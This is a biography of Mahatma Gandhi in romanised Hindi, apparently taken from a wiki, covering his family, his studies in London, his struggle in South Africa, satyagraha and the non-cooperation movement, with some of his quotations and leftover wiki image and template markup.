महात्मा गाँधी

mahatma gaandhi
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poora nam	mohan das karamachand gaandhi
any nam	bapoo, mahatma ji
janm	2 aktoobar, 1869
janm bhoomi	porabandar, gujarat
mrityu	30 janavari, 1948
mrityu sthan	nee dilli
mrityu karan	hatya
pati/patni	kastooraba gaandhi
santan	harilal, manilal, ramadas, devadas
smarak	raj ghat (dilli), birala haus (dilli) adi
nagarikata	bharatiy
parti	kaangres
shiksha	bairistar
vidyalay	banbee yoonivarsiti, samaladas k aaulej
bhasha	hindi, aangrezi
puraskar-upadhi	rashtrapita
vishesh yogadan	bharat ki svatantrata, ahiansak andolan, satyagrah
sanbandhit lekh	asahayog aandolan, namak satyagrah adi

rashtrapita mohan das karamachand gaandhi

mahatma gaandhi (2 aktoobar, 1869 - 30 janavari, 1948) ko british shasan ke khilaf bharatiy rashtriy aandolan ka neta aur rashtrapita mana jata hai. inaka poora nam mohanadas karamachand gaandhi tha. rajanitik aur samajik pragati ki prapti hetu apane ahiansak virodh ke siddhaant ke lie unhean aantarashtriy khyati prapt huee. mohanadas karamachand gaandhi bharat evan bharatiy svatantrata aandolan ke ek pramukh rajanitik evan adhyatmik neta the.

jivan parichay

mahatma gaandhi ka janm 2 aktoobar 1869 ee. ko gujarat ke porabandar namak sthan par hua tha. unake mata-pita kattar hindoo the. inake pita ka nam karamachand gaandhi tha. mohanadas ki mata ka nam putalibaee tha jo karamachand gaandhi ji ki chauthi patni thian. mohanadas apane pita ki chauthi patni ki antim santan the. unake pita karamachand (kaba gaandhi) pahale british shasan ke tahat pashchimi bharat ke gujarat rajy mean ek chhoti-si riyasat ki rajadhani porabandar ke divan the aur bad mean kramashah rajakot (kathiyava d) aur vaankaner mean divan rahe. karamachand gaandhi ne bahut adhik aupacharik shiksha to prapt nahian ki thi, lekin vah ek kushal prashasak the aur unhean sanaki rajakumaroan, unaki duahkhi praja tatha sattasin kattar british rajanitik adhikariyoan ke bich apana rasta nikalana ata tha. thumb|250px|feri imarat par gaandhi ji ki pratima, sen fraansisko|left gaandhi ki maan putalibaee atyadhik dharmik thian aur bhog-vilas mean unaki zyada ruchi nahian thi. unaki dinacharya ghar aur mandir mean banti huee thi. vah niyamit roop se upavas rakhati thian aur parivar mean kisi ke bimar p dane par usaki seva sushrusha mean din-rat ek kar deti thian. mohanadas ka lalan-palan vaishnav mat mean rame parivar mean hua aur un par kathin nitiyoan vale bharatiy dharm jain dharm ka gahara prabhav p da. jisake mukhy siddhaant, ahiansa evan vishv ki sabhi vastuoan ko shashvat manana hai. is prakar, unhoanne svabhavik roop se ahiansa, shakahar, atmashuddhi ke lie upavas aur vibhinn panthoan ko manane valoan ke bich paraspar sahishnuta ko apanaya.

yuvavastha

mohanadas ek ausat vidyarthi the, halaanki unhoanne yada-kada puraskar aur chhatravrittiyaan bhi jitian. ek satraant-pariksha mean unake parinam mean - aangrezi mean achchha, aankaganit mean thik-thak bhoogol mean kharab, chal-chalan bahut achchha, likhavat kharab ki tippani ki gee thi. vah padhaee v khel, donoan mean hi prakhar nahian the. bimar pita ki seva karana aur ghareloo kamoan mean maan ka hath bantana aur samay milane par door tak akele sair par nikalana unhean pasand tha. unhian ke shabdoan mean unhoanne 'b doan ki ajna ka palan karana sikha, unamean minamekh nikalana nahian.' vah kishoravastha ke vidrohi daur se bhi guzare, jisamean gupt nastikavad, chhoti-moti choriyaan, chhipakar dhoomrapan aur vaishnav parivar mean janmean kisi l dake ke lie sabase zyada chauankane vali bat - maans khana shamil tha. unaki kishoravastha unaki ayu aur varg ke adhikaansh bachchoan se adhik halachal bhari nahian thi. unaki yuvavastha ki nadaniyoan ka antim bindu asadharan tha. har aisi nadani ke bad vah svayan vada karate 'phir kabhi aisa nahian karooanga' aur apane vade par atal rahate. unamean atmasudhar ki lau jalati rahati thi, jisake karan unhoanne sachchaee aur balidan ke pratik prahlad aur harishchandr jaise pauranik hindoo nayakoan ko sajiv adarsh ke roop mean grahan kiya.

shiksha

[[chitr:Mahatma-Gandhi-Sandsation-1.jpg|thumb|250px|mahatma gaandhi seandaseshan
Mahatma Gandhi's Sandsation]] 1887 mean mohanadas ne jaise-taise banbee yoonivarsiti ki maitrik ki pariksha pas ki aur bhavanagar sthit samaladas k aaulej mean dakhila liya. achanak gujarati se aangrezi bhasha mean jane se unhean vyakhyanoan ko samajhane mean kuchh dikkat hone lagi. is bich unake parivar mean unake bhavishy ko lekar charcha chal rahi thi. agar nirnay un par chho da jata, to vah d aauktar banana chahate the. lekin vaishnav parivar mean chirafa d ke khilaf poorvagrah ke alava yah bhi spasht tha ki yadi unhean gujarat ke kisi rajagharane mean uchch pad prapt karane ki parivarik parampara nibhani hai, to unhean bairistar banana p dega. isaka arth tha ianglaiand yatra aur gaandhi ne, jinaka samaladas k aaulej mean khas man nahian lag raha tha, is prastav ko saharsh hi svikar kar liya. unake yuva man mean ianglaiand ki chhavi 'darshanikoan aur kaviyoan ki bhoomi, sampoorn sabhyata ke kendr' ke roop mean thi. sitanbar 1888 mean vah pani ke jahaz par savar hue. vahaan pahuanchane ke 10 din bad vah landan ke char qanoon mahavidyalay mean se ek 'inar teanpal' mean dakhil ho ge.

parivar

mohanadas karamachand jab keval terah varsh ke the aur skool mean padhate the, porabandar ke ek vyapari ki putri kastoorabaee (kastooraba) se unaka vivah kar diya gaya. var-vadhu ki avastha lagabhag saman thi. donoan ne 62 varsh tak vaivahik jivan bitaya. 1944 ee. mean poona ki british jel mean kastooraba ka svargavas hua. gaandhiji atharah varsh ki ayu mean hi ek putr ke pita ho gaye the. gaandhi ji ke char putr hue jinake nam the:-harilal, manilal, ramadas, devadas.

ianglaiand

gaandhi ne apani padhaee ko gambhirata se liya aur landan yoonivarsiti maitrikuleshan pariksha mean baithakar aangrezi tatha laitin ko sudharane ka prayas kiya. rajakot ke arddh gramin mahaul se landan ke mahanagariy jivan mean parivartan unake lie asan nahian tha. jab vah pashchimi khan-pan, tahazib aur pahanave ko apanane ke lie joojhate, unhean atapata lagata. unaka shakahari hona unake lie lagatar sharmiandagi ka karan ban jata. unake mitroan ne unhean chetavani di ki isaka dushprabhav unake adhyayan aur svasthy, donoan par p dega. saubhagyavash unhean ek shakahari restaraan ke sath-sath ek pustak mil gee, jisamean shakahar ke paksh mean tark die ge the. vah landan vejiteriyan sosaiti ke karyakari sadasy bhi ban ge aur usake sammelanoan mean bhag lene lage tatha usaki patrika mean bhi likhane lage. yahaan tin varshoan (1888-91) tak rahakar unhoanne bairistari pas ki.

jaise chhota-sa tinaka hava ka rukh batata hai vaise hi mamooli ghatanaean manushy ke hriday ki vritti ko batati haian. mahatma gaandhi

ianglaiand ke shakahari restaraan aur avas - grihoan mean gaandhi ki mulaqat n sirf bhojan ke mamale mean kattar logoan se huee, balki unhean kuchh gambhir stri-purush bhi mile. jinhean baibil aur bhagavadagita se parichay karane ka shrey diya. bhagavadagita ko unhoanne sabase pahale sar edavin arnold ke aangrezi anuvad mean padha. parichit shakahari aangrezoan mean edavard karapeantar jaise samajavadi aur manavatavadi the, jo ki british thoro kahalate the. j aaurj barnad sh aau jaise febiyan, aur eni beseant sarikhe dharmashastri shamil the. unamean se adhikaansh adarshavadi the. kuchh vidrohi tevar ke bhi the. jo uttaravarti viktoriyaee vyavastha ke tatkalin moolyoan ko nahian janate the. ve sada jivan ke muqabale sahayog ko adhik mahatv dete the. in vicharoan ne gaandhi ke vyaktitv aur bad mean unaki rajaniti ko akar dene mean mahattvapoorn bhoomika nibhaee.

apaka koee bhi kam mahatvahin ho sakata hai par mahattvapoorn yah hai ki ap kuchh karean. mahatma gaandhi

[[chitr:Mahatma-Gandhi-Birthplace-Porbandar.jpg|thumb|250px|mahatma gaandhi janmasthan, porabandar]] julaee 1891 mean jab gaandhi bharat laute, to anupasthiti mean unaki mata ka dehant ho chuka tha aur unhean yah janakar bahut nirasha huee ki bairistar ki digri se achchhe peshevar jivan ki garanti nahian mil sakati. vakalat ke peshe mean pahale hi kafi bhi d ho chuki thi aur gaandhi unamean apani jagah banane ke mamale mean bahut sankochi the. banbee (vartaman muanbee) nyayalay mean pahali hi bahas mean vah nakam rahe. yahaan tak ki banbee uchch nyayalay mean alpakalik shikshak ke pad ke lie bhi unhean asvikar kar diya gaya. isalie vah rajakot lautakar muqadama karane valoan ke lie arzi likhane jaise chhote kamoan ke zariye rozi-roti kamane lage. ek sthaniy british adhikari ko naraz kar dene ke karan unaka yah kam bhi band ho gaya. isalie unhoanne dakshin afrika mean natal sthit ek bharatiy kampani se ek sal ke anubandh ko svikar karake rahat ki saans li.

dakshin afrika

daraban nyayalay mean yooropiy majistret ne unhean pag di utarane ke lie kaha, unhoanne inkar kar diya aur nyayalay se bahar chale ge. kuchh dinoan ke bad pritoriya jate samay unhean relave ke pratham shreni ke dibbe se bahar pheank diya gaya aur unhoanne steshan par thithurate hue rat bitaee. yatra ke agale charan mean unhean ek gho daga di ke chalak se pitana p da, kyoanki yooropiy yatri ko jagah dekar payadan par yatra karane se unhoanne inkar kar diya tha, aur antatah 'sirf yooropiy logoan ke lie' surakshit hotaloan mean unake jane par rok laga di gee. natal mean bharatiy vyapariyoan aur shramikoan ke lie ye apaman dainik jivan ka hissa tha. jo naya tha, vah gaandhi ka anubhav n hokar unaki pratikriya thi. ab tak vah hathadharmita aur ugrata ke paksh mean nahian the, lekin jab unhean anapekshit apamanoan se guzarana p da, to unamean kuchh badalav aya. bad mean dekhane par unhean laga ki daraban se pritoriya tak ki yatra unake jivan ke mahanatam rachanatmak anubhavoan mean se ek thi. yah unake saty ka kshan tha.

meritsabarg kand

[[chitr:Mahatma-Gandhi-And-Jawahar-Lal-Nehru-Stamp.jpg|thumb|250px|javahar lal neharoo aur mahatma gaandhi ki bharatiy dak tikat]] meritsabarg kand ne gaandhi ji ki jivan yatra ko ek nayi disha di. unhoanne svayan us ghatana ka vivaran is prakar likha hai---'meritsabarg mean ek pulis k aaunstebal ne mujhe dhakka dekar tren se bahar nikal diya. tren chali gayi. maian vishram kaksh mean baith gaya. maian thand se kaanp raha tha. mujhe nahian maloom tha ki mera asabab kahaan par hai, aur n to maian kisi se kuchh poochhane ki himmat kar sakata tha ki kahian phir se beijjati n ho. niand ka saval hi nahian tha. mere man mean oohapoh hone lagi. kafi rat gaye maian is natije par pahuancha ki bharat vapas bhag jana qayarata hogi. maianne jo dayitv apane oopar liya hai, use poora karana chahie.' meritsabarg kaand ke bad unhoanne apane man mean dakshin afrika ke pravasi bharatiyoan ko us apaman ki zindagi se ubarane ka sankalp liya, jise ve lambe arase se jhelate a rahe the. is sankalp ke bad gaandhiji agale bis varshoan (1893-1914) tak dakshin afrika mean rahe aur shighr hi vahaan par inake netritv mean utpi dit bharatiyoan par lage sare pratibandhoan ko hatane ke lie ek aandolan chhi d gaya. is aandolan ko saphal banane ke uddeshy se unhoanne apani chalati huee vakalat chho d di aur brahmachary vrat dharan kar apane parivar aur mitroan ke sath t aaulastay ashram ki sthapana karake vahian par rahane lage. phir kabhi unhoanne anyay svikar nahian kiya. ek bharatiy aur ek vyakti ke roop mean apane samman ki raksha ki.

vidaee samaroh

pritoriya pravas ke dauran gaandhi ne apane deshavasiyoan ki un paristhitiyoan ka adhyayan kiya, jisamean ve ji rahe the aur unhean unake adhikaroan tatha kartavyoan ke bare mean shikshit karane ka prayas kiya. unaka dakshin afrika mean lambe samay tak rahane ka koee irada nahian tha. joon 1894 mean jab ek sal ka anubandh samapt hone ko aya, to vah vapas daraban akar bharat lautane ko taiyar the. unake samman mean ayojit vidaee samaroh mean natal markyuri ke panne palatate hue unhean pata chala ki natal lejisletiv aseanbali bharatiyoan ko matadan ke adhikar se vanchit karane sambandhi ek vidheyak par vichar kar rahi hai. gaandhi ne apane mejabanoan se kaha, 'yah hamare taboot ki pahali kil hai', logoan ne is vidheyak ka virodh karane mean akshamata dikhaee aur aupaniveshik rajaniti par apani ajnanata svikarate hue gaandhi se apane lie sangharsh ki prarthana ki.

natal iandiyan kaangres

[[chitr:Mahatma-Gandhi-And-Kasturba-Gandhi.jpg|thumb|250px|mahatma gaandhi aur kastooraba gaandhi ki pratima, birala haus, dilli|left]]

18 varsh ki ayu tak gaandhi ne shayad hi kabhi samachar patr padha tha. n to ianglaiand ke vidyarthi kal mean aur n hi bharat mean bairistari ki shurooat mean rajaniti mean unaki kabhi ruchi rahi. vastutah kisi sabha mean bhashan dete samay ya adalat mean muvakkil ka bachav karate hue ve jaise hi bolane kh de hote, manchiy bhay unhean jak d leta tha. phir bhi, 1894 mean matr 25 varsh ki ayu mean vah lagabhag ratoan rat ek saphal rajanitik aandolanakari ban ge. unhoanne natal ki vidhayika aur british sarakar ke nam yachikaean likhian aur un par saik doan bharatiyoan ke hastakshar karae. vah vidheyak ko to nahian rok sake, lekin natal mean rahane vale bharatiyoan ke kashtoan ki or natal, bharat aur ianglaiand ke akhabaroan ka dhyan akarshit karane mean saphal rahe. unhean daraban mean rahakar vakalat karane aur bharatiy samuday ka ekajut karane ke lie razi kar liya gaya. 1894 mean unhoanne natal iandiyan kaangres ki sthapana ki aur usake sakriy sachiv ban ge. is samany rajanitik sangathan ke madhyam se unhoanne bahujatiy bharatiy samuday mean ekata ki bhavana bhar di. unhoanne sarakar vidhayika aur pres mean bharatiyoan ke kashtoan se sambandhit tarkapoorn vaktavyoan ki jh di laga di. antatah unhoanne maharani viktoriya ki bharatiy praja ke sath unake hi afrika sthit upanivesh mean kie ja rahe bhedabhav ko duniya ke samane ujagar karake samrajy ki pol khol di. ek pracharak ke roop mean unaki saphalata ka praman yah tha ki landan ke 'd taims' aur kalakatta (vartaman kolakata) ke 'stetsamain' tatha 'ianglishamain' jaise akhabaroan ke sanpadakiy mean bhi natal ke bharatiyoan ke kashtoan par tippaniyaan likhi geean. 1896 mean apani patni kastooraba tatha bachchoan ko lane evan videsh mean rahane vale bharatiyoan ke lie samarthan jutane hetu gaandhi bharat pahuanche, unhoanne pramukh netaoan se milakar unhean b de-b de shaharoan mean janasabhaean: sanbodhit karane ke lie razi kiya.

parajay se satyagrahi ko nirasha nahian hoti balki karyakshamata aur lagan badhati hai. mahatma gaandhi

yah gaandhi ka durbhagy tha ki unaki gatividhiyoan aur vaktavyoan ki ootapataang khabarean natal pahuanchi aur vahaan ki yooropiy janata big d uthi. janavari 1897 mean daraban pahuanchane par ugr goroan ki bhi d ne un par pran ghatak hamala kar diya. british mantrimandal mean aupaniveshik sachiv jozaf cheanbaralen ne natal sarakar ko tar bhejakar doshi vyaktiyoan ko giraftar karane ko kaha, lekin gaandhi ne hamalavaroan par muqadama karane se inkar kar diya. unhoanne kaha ki yah unaka siddhaant hai ki vyaktigat kshati ko qanooni adalat mean n le jaya jae.

pratirodh aur parinam

[[chitr:Gandhi-Patel-Nehru.png|thumb|250px|mahatma gaandhi, saradar vallabh bhaee patel aur javaharalal neharoo]]

gaandhi manamutav palane vale vyakti nahian the. 1899 mean dakshin afrika (boar) yuddh chhi dane par unhoanne natal ke british upanivesh mean nagarikata ke sampoorn adhikaroan ka dava karane vale bharatiyoan se kaha ki upanivesh ki raksha karana unaka kartavy hai. unhoanne 1100 svayan sevakoan ki eanbulens kor ki sthapana ki, jisamean 300 svatantr bharatiy aur baqi bandhua mazadoor the. yah ek panchamel samooh tha-- bairistar aur lekhakar, karigar aur mazadoor. yuddh ki samapti se dakshin afrika ke bharatiyoan ko shayad hi koee rahat mili. gaandhi ne dekha ki kuchh eesaee mishanariyoan aur yuva adarshavadiyoan ke alava dakshin afrika mean rahane vale yooropiyoan par ashanuroop chhap chho dane mean vah asaphal rahe haian. 1906 mean taansaval sarakar ne vahaan ki bharatiy janata ke panjikaran ke lie vishesh roop se apamanajanak adhyadesh jari kiya. bharatiyoan ne sitanbar 1906 mean johensabarg mean gaandhi ke netritv mean ek virodh janasabha ka ayojan kiya aur is adhyadesh ke ullanghan tatha isake parinamasvaroop dand bhugatane ki shapath li. is prakar satyagrah ka janm hua, jo vedana pahuanchane ke bajay unhean jhelane, vidveshahin pratirodh karane aur bina hiansa ke usase l dane ki nee takanik thi.

hindi lipi aur bhasha janana har bharatiy ka kartavy hai. us bhasha ka svaroop janane ke lie 'ramayan' jaisi doosari pustak shayad hi milegi. mahatma gaandhi

dakshin afrika mean sat varsh se adhik samay tak sangharsh chala. isamean utar-chadhav ate rahe, lekin gaandhi ke netritv mean bharatiy alpasankhyakoan ke chhote se samuday ne apane shaktishali pratipakshiyoan ke khilaf sangharsh jari rakha. saik doan bharatiyoan ne apane aantahkaran aur svabhiman ko chot pahuanchane vale qanoon ke samane jhukane ke bajay apani ajivika tatha svatantrata ki bali chadhana zyada pasand kiya. 1913 mean aandolan ke antim charan mean mahilaoan samet saik doan bharatiyoan ne karavas ki saza bhugati tatha khadanoan mean kam band karake h datal kar rahe hazaroan bharatiy mazadooroan ne ko doan ki mar, jel ki saza aur yahaan tak ki goli marane ke adesh ka bhi sahasapoorn samana kiya. bharatiyoan ke lie yah ghor yantrana thi. lekin dakshin afriki sarakar ke liy yah sabase kharab prachar siddh hua aur usane bharat v british sarakar ke dabav ke tahat ek samajhaute ko svikar kiya. jis par ek or se gaandhi tatha doosari or se dakshin afriki sarakar ke pratinidhi janaral j aaun krishchiyan smats ne batachit ki thi.

bharat ki sabhyata ki raksha karane mean tulasidas ne bahut adhik bhag liya hai. tulasidas ke chetanamay ramacharitamanas ke abhav mean kisanoan ka jivan j davat aur shushk ban jata hai - pata nahian kaise kya hua, parantu yah nirvivad hai ki tulasidas ji bhasha mean jo pranaprad shakti hai vah doosaroan ki bhasha mean nahian paee jati. ramacharitamanas vichar-ratnoan ka bhandar hai. mahatma gaandhi

thumb|mahatma gaandhi julaee 1914 mean dakshin afrika se gaandhi ke bharat prasthan ke bad smats ne ek mitr ko likha tha, 'sant ne hamari bhoomi se vida le li hai, asha hai sada ke lie' ; 25 varsh ke bad unhoanne likha, 'aise vyakti ka virodhi hona meri niyati thi, jinake lie tab bhi mere man mean bahut samman tha' , apani anek jel yatraoan ke dauran ek bar gaandhi ne smats ke lie ek jo di chappal banaee thi. smats ka sansmaran hai ki unake bich koee ghrina ya vyaktigat durbhav nahian tha aur jab l daee khatm ho gee to 'mahaul aisa tha, jisamean ek sammanajanak samajhaute ko aanjam diya ja sakata tha.'

dharmik khoj

gaandhi ki dharmik khoj unaki mata, porabandar tatha rajakot sthit ghar ke prabhav se bachapan mean hi shuroo ho gee thi. lekin dakshin afrika pahuanchane par ise kafi bal mila. vah eesaee dharm par t aaulsatay ke lekhan par mugdh the. unhoanne quran ke anuvad ka adhyayan kiya aur hindoo abhilekhoan tatha darshan mean dubakiyaan lagaeean. sapekshik karm ke adhyayan, vidvanoan ke sath batachit aur dharmashastriy kritiyoan ke niji adhyayan se vah is nishkarsh par pahuanche ki sabhi dharm saty haian aur phir bhi har ek dharm apoorn hai. [[chitr:Agha-Khan-Palace-Pune.jpg|thumb|250px|mahatma gaandhi ji ka kamara, aga khan pailes, pune|left]] kyoanki unaki vyakhya starahin briddhi, kabhi-kabhi sankirn hriday se ki gee hai aur aksar durvyakhya huee hai. bhagavadagita, jisaka gaandhi ne pahali bar ianglaiand mean adhyayan kiya tha, unaka 'adhyatmik shabdakosh' ban gaya aur sambhavatah unake jivan par isi ka sabase adhik prabhav p da. gita mean ullikhit sanskrit ke do shabdoan ne unhean sabase zyada akarshit kiya. ek tha aparigrah (tyag), jisaka arth hai, manushy ko apane adhyatmik jivan ko badhit karane vali bhautik vastuoan ka tyag kar dena chahie aur use dhan-sampatti ke bandhanoan se mukt ho jana chahie. doosara shabd hai samabhav (saman bhav), jisane unhean duahkh ya sukh, jit ya har, sabamean adig rahana tatha saphalata ki asha ya asaphalata ke bhay ke bina kam karana sikhaya. ye sirf poornata ke samopadesh nahian the. jis divani muqadamean ke karan vah 1893 mean dakshin afrika ae the, usamean unhoanne donoan virodhiyoan ko nyayalay se bahar hi samajhauta karane par razi kar liya tha. unake anusar, ek sachche vakil ka kam 'virodhi pakshoan ko ekajut karana tha. jaldi hi vah muvakkiloan ko apani seva ke kharidar ke bajay mitr samajhane lage, jo n sirf qanooni mamaloan mean unaki salah lete the, balki bachche se maan ka doodh chhu dane aur parivar ke bajat mean santulan jaise mamaloan par bhi ray lete the. jab ek sahayogi ne ravivar ko bhi muvakkiloan ke ane par virodh kiya, to gaandhi ka javab tha 'vipatti mean phanse adami ke pas ravivar ka aram nahian hota'.

1. REDIRECT saancha:daanyabaksapradhanamantri shri javahar lal neharoo ne rashtr ko mahatma ji ki hatya ki soochana in shabdoan mean di, 'hamare jivan se prakash chala gaya aur aj charoan taraf aandhakar chha gaya hai. maian nahian janata ki maian apako kya bataooan aur kaise bataooan. hamare pyare neta, rashtrapita bapoo ab nahian rahe.' mahatma gaandhi vastav mean bharat ke rashtrapita the. 27 varshoan ke alpakal mean unhoanne bharat ko sadiyoan ki dasata ke aandhere se nikalakar azadi ke uzale mean pahuancha diya. kintu gaandhiji ka yogadan sirf bharat ki simaoan tak simit nahian tha. unaka prabhav sampoorn manav jati par p da
2. REDIRECT saancha:baksaband

qanoon ke peshe mean gaandhi ki adhikatam ay 5,000 rupaye prativarsh pahuanch gee thi lekin paisa kamane mean unaki adhik ruchi nahian thi aur unaki bachat aksar sarvajanik gatividhiyoan par kharch ho jati thi. daraban mean aur phir johensabarg mean, unhoanne sadavrat khol rakha tha. unaka ghar yuva sahakarmiyoan tatha rajanitik sahayogiyoan ka thikana ban gaya tha. yah sab unaki patni ko pareshan karata tha. jinake asadharan dhairy, sahanashilata aur atmabalidan ke bina gaandhi sarvajanik sarokar ke prati shayad hi svayan ko samarpit kar pate. jaise-jaise ve donoan parivar aur sampatti ke paramparik bandhanoan se mukt hote ge, unake niji v samudayik jivan ka aantar simatata gaya. gaandhi sada jivan, sharirik shram aur sanyam ke prati atyadhik akarshan mahasoos karate the. 1904 mean pooanjivad ke alochak j aaun raskin ke 'anatoo dis last' padhane ke bad unhoanne daraban ke pas finiks mean ek farm ki sthapana ki, jahaan vah apane mitroan ke sath keval apane shram ke boote par ji sakate the. chhah varsh ke bad gaandhi ki dekharekh mean johensabarg ke pas ek nee basti vikasit huee. roosi lekhak aur nitijn ke nam par ise 't aaulsatay farm' ka nam diya gaya. gaandhi t aaulsatay ke prashansak the aur unase patr vyavahar karate the. ye do bastiyaan, bharat mean ahamadabad ke pas sabaramati aur vardha ke pas sevagram mean banian, jo adhik prasiddh ashramoan ki poorvavarti thian.

ram-shabd ke uchcharan se lakhoan—karo doan hinduoan par fauran asar hoga. aur 'g aaud' shabd ka arth samajhane par bhi usaka un par koee asar n hoga. chirakal ke prayog se aur unake upayog ke sath sanyojit pavitrata se shabdoan ko shakti prapt hoti hai. mahatma gaandhi

rashtravadi bharat ke neta ke roop mean uday

sanh 1914 mean gaandhiji bharat laut aye. deshavasiyoan ne unaka bhavy svagat kiya aur unhean mahatma pukarana shuroo kar diya. unhoanne agale char varsh bharatiy sthiti ka adhyayan karane tatha svayan ko un logoan ko taiyar karane mean bitaye jo satyagrah ke dvara bharat mean prachalit samajik v rajanitik buraiyoan ko hatane mean unaka anugaman karana chahate the. is dauran gaandhiji mook paryavekshak nahian rahe. 1915 se 1918 tak ke kal mean gaandhi bharatiy rajaniti ki paridhi par anishchitata se mandarate rahe. is kal mean unhoanne kisi bhi rajanitik aandolan mean shamil hone se inkar kar diya tatha pratham vishv yuddh mean briten ke prayasoan, yahaan tak ki bharat ki british fauj mean sipahiyoan ki bharti ka bhi samarthan kiya. sath hi vah british adhikariyoan ki uddandata bhari harakatoan ki alochana bhi karate the tatha unhoanne bihar v gujarat ke kisanoan ke utpi dan ka mamala bhi uthaya. faravari 1919 mean r aaulekt ekt par, jisake tahat kisi bhi vyakti ko bina muqadama chalae jel bhejane ka pravadhan tha, unhoanne aangrezoan ka virodh kiya. gaandhi ne satyagrah andolan ki ghoshana ki. isake parinamasvaroop ek aisa rajanitik bhoochal aya, jisane 1919 ke basant mean samooche upamahadvip ko jhakajhor diya. hiansa bh dak uthi, jisake bad british netritv mean sainikoan ne amritasar mean jaliyaanvala bag ki ek sabha mean shamil logoan par goliyaan barasakar lagabhag 400 bharatiyoan ka mar dala aur marshal l aau laga diya gaya. isane gaandhi ko apana rukh badalane ke lie prerit kiya, lekin ek sal ke bhitar hi vah ek bar phir ugr tevar mean a ge. british adalatoan tatha skool aur k aaulejoan ka bahishkar karean tatha sarakar ke sath asahayog karake use poori tarah apang bana dean.

bharat mean satyagrah

[[chitr:30-January-Marg-Delhi.jpg|thumb|250px|30 janavari marg, dilli, jahaan gaandhi ji ko goli mari gee]]

gaandhi ji ne varsh 1917-18 ke dauran bihar ke chamh‍paran namak sh‍than ke khetoan mean pahali bar bharat mean sath‍yagrah ka prayog kiya. yahaan akal ke samay garib kisanoan ko apane jivit rahane ke lie jaruri khady fasalean ugane ke sh‍than par nil ki kheti karane ke lie zor dala ja raha tha. unh‍hean apani paidavar ka kam moolh‍y diya ja raha tha aur un par bhari karoan ka dabav tha. gaandhi ji ne us gaanv ka vish‍trit adhh‍yayan kiya aur jamiandaroan ke viruddh virodh ka ayojan kiya, jisake parinam sh‍varoop unh‍hean giraphtar kar liya gaya. unake karavas mean dale jane ke bad aur adhik pradarshan kie ge. jalh‍di hi gaandhi ji ko chho d diya gaya aur jamiandaroan ne kisanoan ke paksh mean ek kararaname par hash‍takshar kie, jisase unaki sthiti mean sudhar aya.

maian to ek aise rashtrapati ki kalpana karata hooan jo naee ya mochi ka dhandha karake apana nirvah karata ho aur sath hi rashtr ki bagador bhi apane hathoan mean thame hue ho. mahatma gaandhi

is saphalata se prerana lekar mahath‍ma gaandhi ne bharatiy sh‍vatantrata ke lie kie jane vale anh‍y abhiyanoan mean sath‍yagrah aur ahiansa ke virodh jari rakhe, jaise ki 'asahayog aandolan', 'nagarik avajna aandolan', 'daandi yatra' tatha 'bharat chho do aandolan', gaandhi ji ke prayasoan se aant mean bharat ko 15 agash‍t 1947 ko sh‍vatantrata mili.

r aaulekt ekt qanoon

[[chitr:Raj-Ghat-Delhi.jpg|thumb|250px|mahatma gaandhi smarak, rajaghat, dilli|left]] gaandhiji ke is ahvan par r aaulekt ekt qanoon ke virodh mean bambee tatha desh ke sabhi pramukh nagaroan mean 30 march 1919 ko aur 6 aprail 1919 ko h datal huee. h datal ke din sabhi shaharoan ka jivan thapp ho gaya. vyapar band raha aur aangrez afasar asahay se dekhate rahe. is h datal ne asahayog ke hathiyar ki shakti poori tarah prakat kar di. sanh 1920 mean gaandhiji kaangres ke neta ban gaye aur unake nirdash aur unaki prerana se hazaroan bharatiyoan ne british sarakar ke sath poorn sambandh-vichchhed kar liya. hazaroan asahayogiyoan ko british jeloan mean thooans diya gaya aur lakhoan logoan par sarakari adhikariyoan ne barbar atyachar kiye. british sarakar ke is damanachakr ke karan log ahiansak n rah sake aur kee sthanoan par hiansa bh dak uthi. hiansa ka is tarah bh dak uthana gaandhiji ko achchha nahian laga. unhoanne svikar kiya ki ahiansa ke anushasan mean baandhe bina logoan ko asahayog aandolan ke lie prerit kar unhoanne 'himalay jaisi bhool ki hai' aur yah sochakar unhoanne asahayog aandolan vapas le liya. ahiansak asahayog aandolan ke phalasvaroop jis svarajy ko gaandhiji ne ek varsh ke aandar lane ka vada kiya tha vah nahian a saka. phir bhi log aandolan ki viphalata ki or dhyan nahian dena chahate the, kyoanki asaliyat mean dekha jae to is ahiansak asahayog aandolan ko jabaradast saphalata hasil huee. usane bharatiyoan ke man se british topoan, sanginoan aur jeloan ka khauf nikalakar unhean nidar bana diya. jisase bharat mean british samrajy ki nianv hil gayi. bharat mean british shasan ke din ab ine-gine rah gaye. phir bhi abhi sangharsh kathin aur lamba tha. sanh 1922 mean gaandhiji ko rajadroh ke abhiyog mean giraftar kar liya gaya. un par muqadama chalaya gaya aur ek madhurabhashi british jaj ne unhean chhah varsh ki qaid ki saza di. sanh 1924 mean apeandisaitis ki bimari ki vajah se unhean riha kar diya gaya.

asahayog andolan

mukhy lekh : asahayog andolan

thumb|mahatma gaandhi
chitrakar-profesar laiang haimar

1920 ke patajh d tak gaandhi rajanitik manch par chha ge the aur bharat ya shayad kisi bhi desh mean, kisi rajanitijn ka itana prabhav kabhi bhi nahian raha tha. unhoanne 35 varsh purani bharatiy rashtriy kaangres ko bharatiy rashtravad ke prabhavashali rajanitik hathiyar mean badal diya. gaandhi ka sandesh bahut saral tha. aangrezoan ki bandookoan ne nahian, balki bharatavasiyoan ki apani kamiyoan ne bharat ko gulam banaya hua hai. british sarakar ke sath unake ahiansak asahayog mean n sirf vastuoan, balki bharat mean aangrezoan dvara sanchalit ya unaki madad se chal rahe sansthanoan—jaise vidhayika, nyayalay, karyalay ya skool - ka bahishkar bhi shamil tha. is karyakram ne desh mean josh phooank diya, videshi shasan ke bhay ka phanda kat diya aur isake phalasvaroop qanoon to dakar khushi-khushi jel jane ko taiyar hazaroan satyagrahiyoan ko giraftar kar liya gaya.

manas ka pratyek prishth bhakti se bharapoor hai. manas anubhavajany jnan ka bhandar hai. mahatma gaandhi

